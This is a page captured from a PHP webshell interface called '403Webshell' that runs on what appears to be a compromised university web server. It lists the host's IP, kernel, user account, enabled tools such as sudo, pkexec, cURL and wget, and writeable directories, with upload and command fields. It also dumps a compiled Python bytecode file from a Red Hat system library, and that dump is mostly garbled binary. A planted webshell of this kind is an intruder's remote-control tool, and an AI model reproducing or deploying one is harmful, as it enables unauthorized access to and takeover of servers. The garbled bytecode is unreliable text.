403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/usr/lib64/python3.6/site-packages/rhsmlib/facts/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/usr/lib64/python3.6/site-packages/rhsmlib/facts/__pycache__/insights.cpython-36.pyc
3

a�e�	�@srddlmZmZmZddlZddlmZyddlmZ	Wne
k
rPdZ	YnXeje�Z
Gdd�dej�ZdS)�)�print_function�division�absolute_importN)�	collector)�	constantscs*eZdZdZd�fdd�	Zdd�Z�ZS)�InsightsCollectorzL
    Class used for collecting facts related to Red Hat Access Insights
    Ncs&tt|�j||||d�|jg|_dS)N)�arch�prefix�testing�collected_hw_info)�superr�__init__�get_insights_machine_idZhardware_methods)�selfrr	r
r)�	__class__�� /usr/lib64/python3.6/insights.pyr
%s
zInsightsCollector.__init__cCs�i}ddg}tdk	r,ttd�r,|jdtj�xn|D]f}y"t|d��}|j�}WdQRXWn4tk
r�}ztjd||f�WYdd}~Xq2Xd|i}Pq2W|S)	z�
        Try to return content of insights machine_id (UUID)
        :return: dictionary containing insights_id, when machine_id file exist.
        Otherwise empty dictionary is returned.
        z/etc/insights-client/machine-idz&/etc/redhat-access-insights/machine-idN�machine_id_filer�rz6Unable to read insights machine_id file: %s, error: %s�insights_id)	�insights_constants�hasattr�insertr�open�read�IOError�log�debug)rrZpaths_to_check�filepath�fdZ
machine_id�errrrrr1s
$z)InsightsCollector.get_insights_machine_id)NNNN)�__name__�
__module__�__qualname__�__doc__r
r�
__classcell__rr)rrr sr)Z
__future__rrrZloggingZ
rhsmlib.factsrZinsights_clientrr�ImportErrorZ	getLoggerr!rZFactsCollectorrrrrr�<module>s



Youez - 2016 - github.com/yon3zu
LinuXploit